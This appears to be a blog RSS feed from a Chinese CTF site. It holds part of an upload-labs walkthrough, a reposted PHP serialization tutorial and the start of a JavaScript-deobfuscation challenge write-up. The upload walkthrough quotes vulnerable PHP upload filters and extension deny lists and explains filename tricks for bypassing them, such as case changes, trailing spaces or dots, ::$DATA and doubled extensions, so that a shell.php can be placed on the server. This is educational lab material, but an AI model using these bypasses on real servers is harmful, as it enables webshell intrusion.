            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">和第四题一样，除了禁用了htaccess文件。仔细观察还可以发现，这道题没有禁用大小写，这句话被删除了：</p>



<pre class="wp-block-code"><code>$file_ext = strtolower($file_ext); //转换为小写</code></pre>



<p class="is-style-iw-2em">也就是说，当输入大写的php时，文件依旧可以执行。但检测不出来。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="471" height="160" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-41.png" alt="" class="wp-image-1660" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-41.png 471w, https://www.cztcode.com/wp-content/uploads/2020/04/image-41-300x102.png 300w" sizes="(max-width: 471px) 100vw, 471px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<p class="is-style-iw-2em">注意改成pHp不行，pHp在黑名单里（仔细看看）</p>



<h3 class="wp-block-heading">Pass-06</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES&#91;'upload_file']&#91;'name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这道比上面一题少了一行</p>



<pre class="wp-block-code"><code>  $file_ext = trim($file_ext); //首尾去空</code></pre>



<p class="is-style-iw-2em">也就是说，在php的末尾加上空格就可以绕过。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="553" height="201" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-42.png" alt="" class="wp-image-1661" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-42.png 553w, https://www.cztcode.com/wp-content/uploads/2020/04/image-42-300x109.png 300w" sizes="(max-width: 553px) 100vw, 553px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<h3 class="wp-block-heading">Pass-06</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES&#91;'upload_file']&#91;'name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这道题删除了这一句</p>



<pre class="wp-block-code"><code>$file_name = deldot($file_name);//删除文件名末尾的点</code></pre>



<p class="is-style-iw-2em">也就是不会先删除文件名末尾的点了，那么</p>



<pre class="wp-block-code"><code> $file_ext = strrchr($file_name, '.');</code></pre>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1020" height="394" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-43.png" alt="" class="wp-image-1664" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-43.png 1020w, https://www.cztcode.com/wp-content/uploads/2020/04/image-43-300x116.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/image-43-768x297.png 768w" sizes="(max-width: 1020px) 100vw, 1020px" /></figure>



<p class="is-style-iw-2em">只会截取最后一个.后的内容，也就是说，构造成<strong>shell.php.</strong>的形式就可以了。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="436" height="171" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-44.png" alt="" class="wp-image-1665" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-44.png 436w, https://www.cztcode.com/wp-content/uploads/2020/04/image-44-300x118.png 300w" sizes="(max-width: 436px) 100vw, 436px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<p class="is-style-iw-2em">需要注意的是，这道题之所以可以这样，还有一个重要的因素是存储文件名变成了这句话</p>



<pre class="wp-block-code"><code>$img_path = UPLOAD_PATH.'/'.$file_name;</code></pre>



<p class="is-style-iw-2em">存储的是源文件名，而上传后系统会自动去除拓展名中的.</p>



<p class="is-style-iw-2em">而如果存储名字是提取后的，这种方法就不能用了</p>



<pre class="wp-block-code"><code> $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;    </code></pre>



<h3 class="wp-block-heading">Pass-08</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES&#91;'upload_file']&#91;'name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这道题少了这一句</p>



<pre class="wp-block-code"><code>$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA</code></pre>



<p class="is-style-iw-2em">在php+windows的情况下：如果文件名+<code>::$DATA</code>,<code>::$DATA</code>之后的数据当成文件流处理,不会检测后缀名 且保持&#8221;<code>::$DATA</code>&#8220;之前的文件名。（原因的话不清楚）所以这题的绕过方法为：在文件后缀加<code>::$DATA</code>抓包，加上后缀就行了。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="561" height="215" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-45.png" alt="" class="wp-image-1666" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-45.png 561w, https://www.cztcode.com/wp-content/uploads/2020/04/image-45-300x115.png 300w" sizes="(max-width: 561px) 100vw, 561px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<h3 class="wp-block-heading">Pass-09</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES&#91;'upload_file']&#91;'name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错！';
            }
        } else {
            $msg = '此文件类型不允许上传！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">可以看到上传的是经过去点处理的文件名</p>



<pre class="wp-block-code"><code> $img_path = UPLOAD_PATH.'/'.$file_name;</code></pre>



<p class="is-style-iw-2em">那就可以构造<strong>.php. .</strong>的形式，$file_name经过处理后是.php. 可以正常被读取。而接下来对$file_ext的处理是截取倒数第二个.后的内容，和黑名单进行匹配，自然就可以绕过了。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="464" height="153" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-46.png" alt="" class="wp-image-1667" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-46.png 464w, https://www.cztcode.com/wp-content/uploads/2020/04/image-46-300x99.png 300w" sizes="(max-width: 464px) 100vw, 464px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<h3 class="wp-block-heading">Pass-10</h3>



<pre class="wp-block-code"><code>$is_upload = false;
$msg = null;
if (isset($_POST&#91;'submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES&#91;'upload_file']&#91;'name']);
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES&#91;'upload_file']&#91;'tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错！';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建！';
    }
}
</code></pre>



<h4 class="wp-block-heading">分析</h4>



<p class="is-style-iw-2em">这次是使用了str_ireplace</p>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="1024" height="346" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-47-1024x346.png" alt="" class="wp-image-1668" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-47-1024x346.png 1024w, https://www.cztcode.com/wp-content/uploads/2020/04/image-47-300x101.png 300w, https://www.cztcode.com/wp-content/uploads/2020/04/image-47-768x259.png 768w, https://www.cztcode.com/wp-content/uploads/2020/04/image-47.png 1312w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p class="is-style-iw-2em">会检测黑名单中的字符串，用空格替代。不过这个只运行一次，也就是只能检测出php而检测不出p<strong>php</strong>hp，第一次把中间的php去掉，合成后还是php。</p>



<h4 class="wp-block-heading">题解</h4>



<figure class="wp-block-image size-large"><img loading="lazy" decoding="async" width="523" height="212" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-48.png" alt="" class="wp-image-1669" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-48.png 523w, https://www.cztcode.com/wp-content/uploads/2020/04/image-48-300x122.png 300w" sizes="(max-width: 523px) 100vw, 523px" /></figure>



<p class="is-style-iw-2em"><strong>上传成功！</strong></p>



<p class="is-style-iw-2em"><strong>后十道题会继续更新：<a href="https://www.cztcode.com/2020/upload-labs-solution-2/" class="rank-math-link">连接</a></strong></p>



<h2 class="wp-block-heading">总结</h2>



<p class="is-style-iw-2em">这十道题的上传方法有：</p>



<ol class="wp-block-list"><li>前端绕过</li><li>文件类型绕过</li><li>特殊可解析后缀绕过</li><li>.htaccess绕过</li><li>大小写绕过</li><li>空格绕过</li><li>点绕过</li><li>::$DATA绕过</li><li>配合解析绕过 //.php. .</li><li>双后缀名绕过</li></ol>



<p class="is-style-iw-2em">参考 ：<a href="https://xz.aliyun.com/t/6692" class="rank-math-link" target="_blank" rel="noopener">未完成的歌</a></p>



<hr class="wp-block-separator"/>



<p class="is-style-iw-2em"></p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1648/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1648</post-id>	</item>
		<item>
		<title>CTF中的反序列化</title>
		<link>https://www.cztcode.com/2020/1524/</link>
					<comments>https://www.cztcode.com/2020/1524/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Thu, 23 Apr 2020 10:29:07 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1524</guid>

					<description><![CDATA[_wakeup漏洞经常用于反序列化操作，先看下序列化的详细介绍，之后再讲解一道反序列化题。]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<p class="is-style-iw-2em">_wakeup漏洞经常用于反序列化操作，先看下序列化的详细介绍，之后再讲解一道反序列化题。</p>



<h2 class="wp-block-heading" id="序列化">序列化</h2>



<h3 class="wp-block-heading" id="序列化格式">序列化格式</h3>



<p class="is-style-iw-2em">在PHP中，序列化用于存储或传递 PHP 的值的过程中，同时不丢失其类型和结构。</p>



<p class="is-style-iw-2em">序列化函数原型如下：</p>



<pre class="wp-block-code"><code>string serialize ( mixed $value )
</code></pre>



<p class="is-style-iw-2em">先看下面的例子：</p>



<pre class="wp-block-code"><code>class CC {
	public $data;
	private $pass;

	public function __construct($data, $pass)
	{
		$this->data = $data;
		$this->pass = $pass;
	}
}
$number = 34;
$str = 'uusama';
$bool = true;
$null = NULL;
$arr = array('a' => 1, 'b' => 2);
$cc = new CC('uu', true);

var_dump(serialize($number));
var_dump(serialize($str));
var_dump(serialize($bool));
var_dump(serialize($null));
var_dump(serialize($arr));
var_dump(serialize($cc));
</code></pre>



<p class="is-style-iw-2em">输出结果为：</p>



<pre class="wp-block-code"><code>string(5) "i:34;"
string(13) "s:6:"uusama";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(52) "O:2:"CC":2:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;}"
</code></pre>



<p class="is-style-iw-2em">所以序列化对于不同类型得到的字符串格式为：</p>



<ul class="wp-block-list"><li><code>String</code> : s:size:value;</li><li><code>Integer</code> : i:value;</li><li><code>Boolean</code> : b:value;(保存1或0)</li><li><code>Null</code> : N;</li><li><code>Array</code> : a:size:{key definition;value definition;(repeated per element)}</li><li><code>Object</code> : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}</li></ul>



<h3 class="wp-block-heading" id="序列化对象">序列化对象</h3>



<p class="is-style-iw-2em">从上面的例子中我们可以看出序列化对象的时候，只会保存属性值。</p>



<ul class="wp-block-list"><li>那么对象中的常量会不会保存呢？</li><li>如果是继承，父类的变量会不会保存呢</li></ul>



<pre class="wp-block-code"><code>class CB {
	public $CB_data = 'cb';
}

class CC extends CB{
	const SECOND = 60;

	public $data;
	private $pass;

	public function __construct($data, $pass)
	{
		$this->data = $data;
		$this->pass = $pass;
	}

	public function setPass($pass)
	{
		$this->pass = $pass;
	}
}
$cc = new CC('uu', true);

var_dump(serialize($cc));
</code></pre>



<p class="is-style-iw-2em">输出结果为：</p>



<pre class="wp-block-code"><code>string(75) "O:2:"CC":3:{s:4:"data";s:2:"uu";s:8:" CC pass";b:1;s:7:"CB_data";s:2:"cb";}"</code></pre>



<p class="is-style-iw-2em">显然，序列化对象时，不会保存常量的值。对于父类中的变量，则会保留。</p>



<h3 class="wp-block-heading" id="对象序列化自定义">对象序列化自定义</h3>



<p class="is-style-iw-2em">在序列化对象的时候，对于对象中的一些敏感属性，我们不需要保存，这又该如何处理呢？</p>



<p class="is-style-iw-2em">当调用<code>serialize()</code>函数序列化对象时，该函数会检查类中是否存在一个魔术方法<code>__sleep()</code>。如果存在，该方法会先被调用，然后才执行序列化操作。可以通过重载这个方法，从而自定义序列化行为。该方法原型如下：</p>



<pre class="wp-block-code"><code>public array __sleep ( void )</code></pre>



<ul class="wp-block-list"><li>该方法返回一个包含对象中所有应被序列化的变量名称的数组</li><li>该方法未返回任何内容，则 NULL 被序列化，并产生一个<code>E_NOTICE</code>级别的错误</li><li><code>__sleep()</code>不能返回父类的私有成员的名字。这样做会产生一个<code>E_NOTICE</code>级别的错误。这时只能用<code>Serializable</code>接口来替代。</li><li>常用于保存那些大对象时的清理工作，避免保存过多冗余数据</li></ul>



<p class="is-style-iw-2em">看下面的例子：</p>



<pre class="wp-block-code"><code>class User{
	const SITE = 'uusama';

	public $username;
	public $nickname;
	private $password;

	public function __construct($username, $nickname, $password)
	{
		$this->username = $username;
		$this->nickname = $nickname;
		$this->password = $password;
	}

	// 重载序列化调用的方法
	public function __sleep()
	{
		// 返回需要序列化的变量名，过滤掉password变量
		return array('username', 'nickname');
	}
}
$user = new User('uusama', 'uu', '123456');
var_dump(serialize($user));
</code></pre>



<p class="is-style-iw-2em">返回结果如下，显然序列化的时候忽略了 password 字段的值。</p>



<pre class="wp-block-code"><code>string(67) "O:4:"User":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}"</code></pre>



<h3 class="wp-block-heading" id="序列化对象存储">序列化对象存储</h3>



<p class="is-style-iw-2em">通过上面的介绍，我们可以把一个复制的对象或者数据序列化成一个序列字符串，保存值的同事还保存了他们的结构。</p>



<p class="is-style-iw-2em">我们可以把序列化之后的值保存起来，存在文件或者缓存里面。不推荐存在数据库里面，可读性查，而且不便于迁移维护，不便于查询。</p>



<pre class="wp-block-code"><code>$user = new User('uusama', 'uu', '123456');
$ser = serialize($user);
// 保存在本地
file_put_contents('user.ser', $ser);</code></pre>



<h2 class="wp-block-heading" id="反序列化">反序列化</h2>



<h3 class="wp-block-heading" id="使用方法">使用方法</h3>



<p class="is-style-iw-2em">通过上面的讲解，我们可以将对象序列化为字符串并保存起来，那么如何把这些序列化后的字符串恢复成原样呢？PHP提供了反序列函数：</p>



<pre class="wp-block-code"><code>mixed unserialize ( string $str )</code></pre>



<p class="is-style-iw-2em"><code>unserialize()</code>反序列化函数用于将单一的已序列化的变量转换回 PHP 的值。</p>



<ul class="wp-block-list"><li>如果传递的字符串不可解序列化，则返回 FALSE，并产生一个<code>E_NOTICE</code></li><li>返回的是转换之后的值，可为<code>integer``float</code>、<code>string</code>、<code>array</code>或<code>object</code></li><li>若被反序列化的变量是一个对象，在成功重新构造对象之后，PHP会自动地试图去调用<code>__wakeup()</code>成员函数（如果存在的话）</li></ul>



<p class="is-style-iw-2em">看下面的例子：</p>



<pre class="wp-block-code"><code>class User{
	const SITE = 'uusama';

	public $username;
	public $nickname;
	private $password;
	private $order;

	public function __construct($username, $nickname, $password)
	{
		$this->username = $username;
		$this->nickname = $nickname;
		$this->password = $password;
	}

	// 定义反序列化后调用的方法
	public function __wakeup()
	{
		$this->password = $this->username;
	}
}
$user_ser = 'O:4:"User":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}';
var_dump(unserialize($user_ser));
</code></pre>



<p class="is-style-iw-2em">输出结果为：</p>



<pre class="wp-block-code"><code>object(User)#1 (4) {
  &#91;"username"]=>
  string(6) "uusama"
  &#91;"nickname"]=>
  string(2) "uu"
  &#91;"password":"User":private]=>
  string(6) "uusama"
  &#91;"order":"User":private]=>
  NULL
}
</code></pre>



<p class="is-style-iw-2em">可以得出以下结论：</p>



<ul class="wp-block-list"><li><code>__wakeup()</code>函数在对象被构建以后执行，所以$this-&gt;username的值不为空</li><li>反序列化时，会尽量将变量值进行匹配并复制给序列化后的对象</li></ul>



<h3 class="wp-block-heading" id="未定义类的处理">未定义类的处理</h3>



<p class="is-style-iw-2em">在上面的例子中，我们在调用反序列化函数<code>unserialize()</code>之前，提前定义了<code>User</code>类，如果我们没有定义会怎么样呢？</p>



<pre class="wp-block-code"><code>$user_ser = 'O:4:"User":2:{s:8:"username";s:6:"uusama";s:8:"nickname";s:2:"uu";}';
var_dump(unserialize($user_ser));
</code></pre>



<p class="is-style-iw-2em">这个例子中，我们没有定义任何的<code>User</code>类，反序列化正常执行，并没有报错，得到的结果如下：</p>



<pre class="wp-block-code"><code>object(__PHP_Incomplete_Class)#1 (3) {
  &#91;"__PHP_Incomplete_Class_Name"]=>
  string(4) "User"
  &#91;"username"]=>
  string(6) "uusama"
  &#91;"nickname"]=>
  string(2) "uu"
}
</code></pre>



<p class="is-style-iw-2em">注意对比之前定义了<code>User</code>类的结果，这儿反序列化得到的对象是<code>__PHP_Incomplete_Class</code>，并指定了未定义类的类名。</p>



<p class="is-style-iw-2em">如果这个时候我们去使用这个反序列化后的不明对象，则会抛出<code>E_NOTICE</code>。这么看着不能用也不是办法，那么如何处理呢？有两种方案。</p>



<ul class="wp-block-list"><li>定义<code>__autoload()</code>等函数，指定发现未定义类时加载类的定义文件</li><li>可通过 php.ini、ini_set() 或 .htaccess 定义<code>unserialize_callback_func</code>。每次实例化一个未定义类时它都会被调用</li></ul>



<p class="is-style-iw-2em">以上两种方案的实现如下：</p>



<pre class="wp-block-code"><code>// unserialize_callback_func 从 PHP 4.2.0 起可用
ini_set('unserialize_callback_func', 'mycallback'); // 设置您的回调函数
function mycallback($classname) 
{
   // 只需包含含有类定义的文件
   // $classname 指出需要的是哪一个类
}


// 建议使用下面的函数，代替__autoload()
spl_autoload_register(function ($class_name) {
	// 动态加载未定义类的定义文件
    require_once $class_name . '.php';
});
</code></pre>



<h2 class="wp-block-heading" id="php预定义序列化接口serializable">PHP预定义序列化接口<code>Serializable</code></h2>



<p class="is-style-iw-2em">还记得上面在将序列化过程中遇到的：无法在<code>__sleep()</code>方法中返回父类对象的问题吗，方法就是实现序列化接口<code>Serializable</code>。</p>



<p class="is-style-iw-2em">该接口的原型如下：</p>



<pre class="wp-block-code"><code>Serializable {
	abstract public string serialize ( void )
	abstract public mixed unserialize ( string $serialized )
}
</code></pre>



<p class="is-style-iw-2em">需要注意的是，如果定义的类实现了<code>Serializable</code>接口，那么序列化和反序列化的时候，PHP就不会再去调用<code>__sleep()</code>方法和<code>__wakeup()</code>方法。</p>



<pre class="wp-block-code"><code>class CB implements Serializable{
	public $CB_data = '';
	private $CB_password = 'ttt';

	public function setCBPassword($password)
	{
		$this->CB_password = $password;
	}

	public function serialize()
	{
		echo __METHOD__ . "\n";
		return serialize($this->CB_password);
	}

	public function unserialize($serialized)
	{
		echo __METHOD__ . "\n";
	}
}

class CC extends CB {
	const SECOND = 60;

	public $data;
	private $pass;

	public function __construct($data, $pass)
	{
		$this->data = $data;
		$this->pass = $pass;
	}

	public function __sleep()
	{
		// 输出调用了该方法名
		echo __METHOD__ . "\n";
	}

	public function __wakeup()
	{
		// 输出调用了该方法名
		echo __METHOD__ . "\n";
	}
}
$cc = new CC('uu', true);
$ser = serialize($cc);
var_dump($ser);
$un_cc = unserialize($ser);
var_dump($un_cc);
</code></pre>



<p class="is-style-iw-2em">运行结果为：</p>



<pre class="wp-block-code"><code>CB::serialize
string(24) "C:2:"CC":10:{s:3:"ttt";}"
CB::unserialize
object(CC)#2 (4) {
  &#91;"data"]=>
  NULL
  &#91;"pass":"CC":private]=>
  NULL
  &#91;"CB_data"]=>
  string(0) ""
  &#91;"CB_password":"CB":private]=>
  string(3) "ttt"
}
</code></pre>



<p class="is-style-iw-2em">可以完全定义<code>serialize()</code>方法，该方法返回的值就是序列化后大括号内的值，只要保证自定义序列化和反序列化的规则一致即可。</p>



<h2 class="wp-block-heading" id="题外话">题外话</h2>



<p class="is-style-iw-2em">在PHP应用中，序列化和反序列化一般用做缓存，比如session缓存，cookie等。</p>



<p class="is-style-iw-2em">序列化和反序列化在PHP中用得不算多，在Java语言中用得比较多。其实你有没有发现，这种把一个对象或者数组的变量转化成字符串的方式，json也可以做到。</p>



<p class="is-style-iw-2em">使用json来实现对象和字符串之间的转换，在PHP中显得更加直观和轻便。而且经过测试，使用<code>json_encode()</code>比<code>serialize()</code>方法更加快速，大概快2~3倍。</p>



<p class="is-style-iw-2em">在我看来，序列化和反序列化是一种传输抽象数据的思想。通过定义序列化和反序列化的规则，我们可以实现将PHP中的对象序列化成字节流，然后传输给别的语言或者系统使用，这在远程调用里面非常的方便。</p>



<p class="is-style-iw-2em">注:转自  <a href="https://www.cnblogs.com/youyoui/p/8610068.html" class="rank-math-link" target="_blank" rel="noopener">悠悠i</a>  </p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.cztcode.com/2020/1524/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1524</post-id>	</item>
		<item>
		<title>CTFweb Ⅶ</title>
		<link>https://www.cztcode.com/2020/1537/</link>
					<comments>https://www.cztcode.com/2020/1537/#respond</comments>
		
		<dc:creator><![CDATA[Jellow]]></dc:creator>
		<pubDate>Sat, 18 Apr 2020 12:07:33 +0000</pubDate>
				<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">https://www.cztcode.com/?p=1537</guid>

					<description><![CDATA[本周练习题解，Web+Misc]]></description>
										<content:encoded><![CDATA[<div id="bsf_rt_marker"></div>
<h3 class="wp-block-heading">NaNNaNNaNNaN-Batman</h3>



<p class="is-style-iw-2em">注:本周的题是这道题的小改动，先说原题</p>



<div class="wp-block-buttons is-layout-flex wp-block-buttons-is-layout-flex">
<div class="wp-block-button"><a class="wp-block-button__link has-text-color has-pale-cyan-blue-color has-background has-very-light-gray-background-color" href="https://adworld.xctf.org.cn/media/task/attachments/1686bc246b6841428465673ad4c7c980.zip" target="_blank" rel="noopener">下载附件</a></div>
</div>



<p class="is-style-iw-2em">打开后&lt;script&gt;开头，是一个JS文件，保存后缀名为html打开</p>



<div class="wp-block-image"><figure class="aligncenter size-large"><img loading="lazy" decoding="async" width="307" height="59" src="https://www.cztcode.com/wp-content/uploads/2020/04/image-4.png" alt="" class="wp-image-1538" srcset="https://www.cztcode.com/wp-content/uploads/2020/04/image-4.png 307w, https://www.cztcode.com/wp-content/uploads/2020/04/image-4-300x58.png 300w" sizes="(max-width: 307px) 100vw, 307px" /></figure></div>



<p class="is-style-iw-2em">是一个搜索框，输入字符无反应，回去看源码</p>



<p class="is-style-iw-2em">在末尾有eval()函数，eval（string）的作用是，计算某个字符串，并执行里面的js代码，比如</p>



<pre class="wp-block-code"><code>var msg = "hello world";
eval("alert(msg)"); //"hello world"</code></pre>



<p class="is-style-iw-2em">程序是乱码读不出来，又可以被正确执行。那我们可以通过alert把执行的函数弹窗出来，这样就能够显示出正常的程序，再修正一下格式。</p>



<p class="is-style-iw-2em">加上了&lt;script&gt;标签，好让vscode自动修正格式。</p>



<pre class="wp-block-code"><code>&lt;script>
    function $() {
        var e = document.getElementById("c").value;
        if (e.length == 0)
            if (e.match(/^be0f23/) != null)
                if (e.match(/233ac/) != null)
                    if (e.match(/e98aa$/) != null)
                        if (e.match(/c7be9/) != null) {
                            var t = &#91;"fl", "s_a", "i", "e}"];
                            var n = &#91;"a", "_h0l", "n"];
                            var r = &#91;"g{", "e", "_0"];
                            var i = &#91;"it'", "_", "n"];
                            var s = &#91;t, n, r, i];
                            for (var o = 0; o &lt; 13; ++o) {
                                document.write(s&#91;o % 4]&#91;0]);
                                s&#91;o % 4].splice(0, 1)
                            }
                        }
    }
    document.write('&lt;input id="c">&lt;button onclick=$()>Ok&lt;/button>'); delete _
